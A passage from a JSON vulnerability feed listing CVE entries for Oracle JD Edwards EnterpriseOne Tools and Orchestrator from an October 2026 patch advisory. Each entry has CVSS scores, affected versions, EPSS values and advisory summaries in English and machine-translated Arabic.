access via HTTP to compromise JD Edwards EnterpriseOne Orchestrator. While the vulnerability is in JD Edwards EnterpriseOne Orchestrator, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Orchestrator. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0049,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"oracle-jd-edwards-enterpriseone-orchestrator"},{"id":"CVE-2026-91288","cvss":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:30Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Interoperability SEC)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC). Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows unauthenticated attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Interoperability SEC). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. تتيح ثغرة يصعب استغلالها لمهاجم دون مصادقة يتمتع بصلاحية الوصول إلى الشبكة عبر JDENET اختراق JD Edwards EnterpriseOne Tools. يمكن أن تؤدي الهجمات الناجحة لهذه الثغرة إلى إنشاء أو حذف أو تعديل غير مصرح به للبيانات الحرجة أو جميع البيانات التي يمكن الوصول إليها في JD Edwards EnterpriseOne Tools بالإضافة إلى الوصول غير المصرح به للبيانات الحرجة أو الوصول الكامل إلى جميع البيانات التي يمكن الوصول إليها في JD Edwards EnterpriseOne Tools. درجة أساس CVSS 3.1 هي 7.4 (تأثيرات السرية والسلامة). متجه CVSS: (CVSS:3.1\\/AV:N\\/AC:H\\/PR:N\\/UI:N\\/S:U\\/C:H\\/I:H\\/A:N)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0026,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91286","cvss":8.2,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:30Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Monitoring and Diagnostics SEC)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools. While the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data as well as unauthorized update, insert or delete access to some of JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Monitoring and Diagnostics SEC). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. ثغرة سهلة الاستغلال تسمح لمهاجم دون مصادقة ولديه وصول إلى قطاع الاتصالات المادي المتصل بالههاز الذي يتم تنفيذ JD Edwards EnterpriseOne Tools عليه باختراق JD Edwards EnterpriseOne Tools. على الرغم من أن الثغرة موجودة في JD Edwards EnterpriseOne Tools، إلا أن الهجمات قد تؤثر بشكل كبير على منتجات إضافية (تغيير النطاق). يمكن أن تؤدي الهجمات الناجحة لهذه الثغرة إلى وصول غير مصرح به إلى البيانات الحرجة أو الوصول الكامل إلى كافة البيانات التي يمكن الوصول إليها بواسطة JD Edwards EnterpriseOne Tools بالإضافة إلى الوصول غير المصرح به للتحديث أو الإدراج أو الحذف لبعض البيانات التي يمكن الوصول إليها بواسطة JD Edwards EnterpriseOne Tools. درجة أساس CVSS 3.1 هي 8.2 (تأثيرات السرية والسلامة). متجه CVSS: (CVSS:3.1\\/AV:A\\/AC:L\\/PR:N\\/UI:N\\/S:C\\/C:H\\/I:L\\/A:N)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91287","cvss":8.1,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:30Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Enterprise Infrastructure SEC)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Enterprise Infrastructure SEC). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. ثغرة سهلة الاستغلال تسمح لمهاجم دون مصادقة ولديه وصول إلى قطاع الاتصالات المادي المتصل بالههاز الذي يتم تنفيذ JD Edwards EnterpriseOne Tools عليه باختراق JD Edwards EnterpriseOne Tools. يمكن أن تؤدي الهجمات الناجحة لهذه الثغرة إلى إنشاء أو حذف أو تعديل غير مصرح به للبيانات الحرجة أو كافة البيانات التي يمكن الوصول إليها بواسطة JD Edwards EnterpriseOne Tools بالإضافة إلى الوصول غير المصرح به للبيانات الحرجة أو الوصول الكامل إلى كافة البيانات التي يمكن الوصول إليها بواسطة JD Edwards EnterpriseOne Tools. درجة أساس CVSS 3.1 هي 8.1 (تأثيرات السرية والسلامة). متجه CVSS: (CVSS:3.1\\/AV:A\\/AC:L\\/PR:N\\/UI:N\\/S:U\\/C:H\\/I:H\\/A:N)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0032,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91269","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:28Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Enterprise Infrastructure SEC)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Enterprise Infrastructure SEC). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. تتيح ثغرة سهلة الاستغلإل لمهاجم يملك صلاحيات منخفضة ولديه إمكانية الوصول إلى الشبكة عبر HTTP اختراق JD Edwards EnterpriseOne Tools. قد تؤدي الهجمات الناجحة لهذه الثغرة إلى إنشاء أو حذف أو تعديل غير مصرح به للبيانات الحرجة أو جميع البيانات القابلة للوصول في JD Edwards EnterpriseOne Tools، بالإضافة إلى الوصول غير المصرح به للبيانات الحرجة أو الوصول الكامل لجميع البيانات القابلة للوصول في JD Edwards EnterpriseOne Tools. درجة أساس CVSS 3.1 تبلغ 8.1 (تأثيرات السرية والسلامة). متجه CVSS: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91270","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:28Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Monitoring and Diagnostics SEC)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Monitoring and Diagnostics SEC). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. تتيح ثغرة سهلة الاستغلإل لمهاجم يملك صلاحيات منخفضة ولديه إمكانية الوصول إلى الشبكة عبر HTTP اختراق JD Edwards EnterpriseOne Tools. قد تؤدي الهجمات الناجحة لهذه الثغرة إلى السيطرة على JD Edwards EnterpriseOne Tools. درجة أساس CVSS 3.1 تبلغ 8.8 (تأثيرات السرية والسلامة والتوافر). متجه CVSS: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.004,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91271","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:28Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Monitoring and Diagnostics SEC)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Monitoring and Diagnostics SEC). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. تتيح ثغرة سهلة الاستغلإل لمهاجم يملك صلاحيات منخفضة ولديه إمكانية الوصول إلى الشبكة عبر HTTP اختراق JD Edwards EnterpriseOne Tools. قد تؤدي الهجمات الناجحة لهذه الثغرة إلى إنشاء أو حذف أو تعديل غير مصرح به للبيانات الحرجة أو جميع البيانات القابلة للوصول في JD Edwards EnterpriseOne Tools، بالإضافة إلى الوصول غير المصرح به للبيانات الحرجة أو الوصول الكامل لجميع البيانات القابلة للوصول في JD Edwards EnterpriseOne Tools. درجة أساس CVSS 3.1 تبلغ 8.1 (تأثيرات السرية والسلامة). متجه CVSS: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0026,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91272","cvss":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:28Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Interoperability SEC)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC). Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Interoperability SEC). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. تتيح ثغرة يصعب استغلإلها لمهاجم دون مصادقة يملك إمكانية الوصول إلى الشبكة عبر HTTPS اختراق JD Edwards EnterpriseOne Tools. قد تؤدي الهجمات الناجحة لهذه الثغرة إلى إنشاء أو حذف أو تعديل غير مصرح به للبيانات الحرجة أو جميع البيانات القابلة للوصول في JD Edwards EnterpriseOne Tools، بالإضافة إلى الوصول غير المصرح به للبيانات الحرجة أو الوصول الكامل لجميع البيانات القابلة للوصول في JD Edwards EnterpriseOne Tools. درجة أساس CVSS 3.1 تبلغ 7.4 (تأثيرات السرية والسلامة). متجه CVSS: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0032,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91273","cvss":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:28Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Object and Env Tech SEC).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Object and Env Tech SEC)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Object and Env Tech SEC). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools. While the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Object and Env Tech SEC). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. تتيح ثغرة سهلة الاستغلإل لمهاجم دون مصادقة يملك إمكانية الوصول إلى الشبكة عبر HTTP اختراق JD Edwards EnterpriseOne Tools. وبينما توجد الثغرة في JD Edwards EnterpriseOne Tools، إلا أن الهجمات قد تؤثر بشكل كبير على منتجات إضافية (تغير النطاق). قد تؤدي الهجمات الناجحة لهذه الثغرة إلى الوصول غير المصرح به للبيانات الحرجة أو الوصول الكامل لجميع البيانات القابلة للوصول في JD Edwards EnterpriseOne Tools. درجة أساس CVSS 3.1 تبلغ 8.6 (تأثيرات السرية). متجه CVSS: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.004,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91265","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:27Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Enterprise Infrastructure SEC)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Enterprise Infrastructure SEC). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. تتيح ثغرة سهلة الاستغلإل لمهاجم دون مصادقة يملك إمكانية الوصول إلى الشبكة عبر HTTP اختراق JD Edwards EnterpriseOne Tools. قد تؤدي الهجمات الناجحة لهذه الثغرة إلى إنشاء أو حذف أو تعديل غير مصرح به للبيانات الحرجة أو جميع البيانات القابلة للوصول في JD Edwards EnterpriseOne Tools، بالإضافة إلى الوصول غير المصرح به للبيانات الحرجة أو الوصول الكامل لجميع البيانات القابلة للوصول في JD Edwards EnterpriseOne Tools. درجة أساس CVSS 3.1 تبلغ 9.1 (تأثيرات السرية والسلامة). متجه CVSS: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91266","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:27Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Monitoring and Diagnostics SEC)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools. While the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Monitoring and Diagnostics SEC). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. تتيح ثغرة سهلة الاستغلإل لمهاجم يملك صلاحيات منخفضة ولديه تسجيل دخول إلى البنية التحتية التي يتم فيها تنفيذ JD Edwards EnterpriseOne Tools اختراق JD Edwards EnterpriseOne Tools. وبينما توجد الثغرة في JD Edwards EnterpriseOne Tools، إلا أن الهجمات قد تؤثر بشكل كبير على منتجات إضافية (تغير النطاق). قد تؤدي الهجمات الناجحة لهذه الثغرة إلى إنشاء أو حذف أو تعديل غير مصرح به للبيانات الحرجة أو جميع البيانات القابلة للوصول في JD Edwards EnterpriseOne Tools، بالإضافة إلى الوصول غير المصرح به للبيانات الحرجة أو الوصول الكامل لجميع البيانات القابلة للوصول في JD Edwards EnterpriseOne Tools. درجة أساس CVSS 3.1 تبلغ 8.4 (تأثيرات السرية والسلامة). متجه CVSS: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91267","cvss":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:27Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Interoperability SEC)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via SOAP to compromise JD Edwards EnterpriseOne Tools. While the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Interoperability SEC). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. تتيح ثغرة سهلة الاستغلال لمهاجم دون مصادقة يتمتع بصوصج شبكي عبر بروتوكول SOAP اختراق JD Edwards EnterpriseOne Tools. وبينما توجد الثغرة في JD Edwards EnterpriseOne Tools، قد تؤثر الهجمات بشكل كبير على منتجات إضافية (تغير النطاق). يمكن أن تؤدي الهجمات الناجحة لهذه الثغرة إلى وصول غير مصرح به إلى البيانات الحرجة أو الوصول الكامل إلى جميع البيانات التي يمكن الوصول إليها عبر JD Edwards EnterpriseOne Tools. درجة الأساس حسب CVSS 3.1 هي 8.6 (تأثيرات السرية). متجه CVSS: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91268","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:27Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Web Runtime SEC).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Web Runtime SEC)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Web Runtime SEC). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Web Runtime SEC). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. تتيح ثغرة سهلة الاستغلال لمهاجم ذي صلاحيات منخفضة ويتمتع وصول شبكي عبر بروتوكول HTTP اختراق JD Edwards EnterpriseOne Tools. يمكن أن تؤدي الهجمات الناجحة لهذه الثغرة إلى الاستيلاء على JD Edwards EnterpriseOne Tools. درجة الأساس حسب CVSS 3.1 هي 8.8 (تأثيرات السرية والسلامة والتوافر). متجه CVSS: 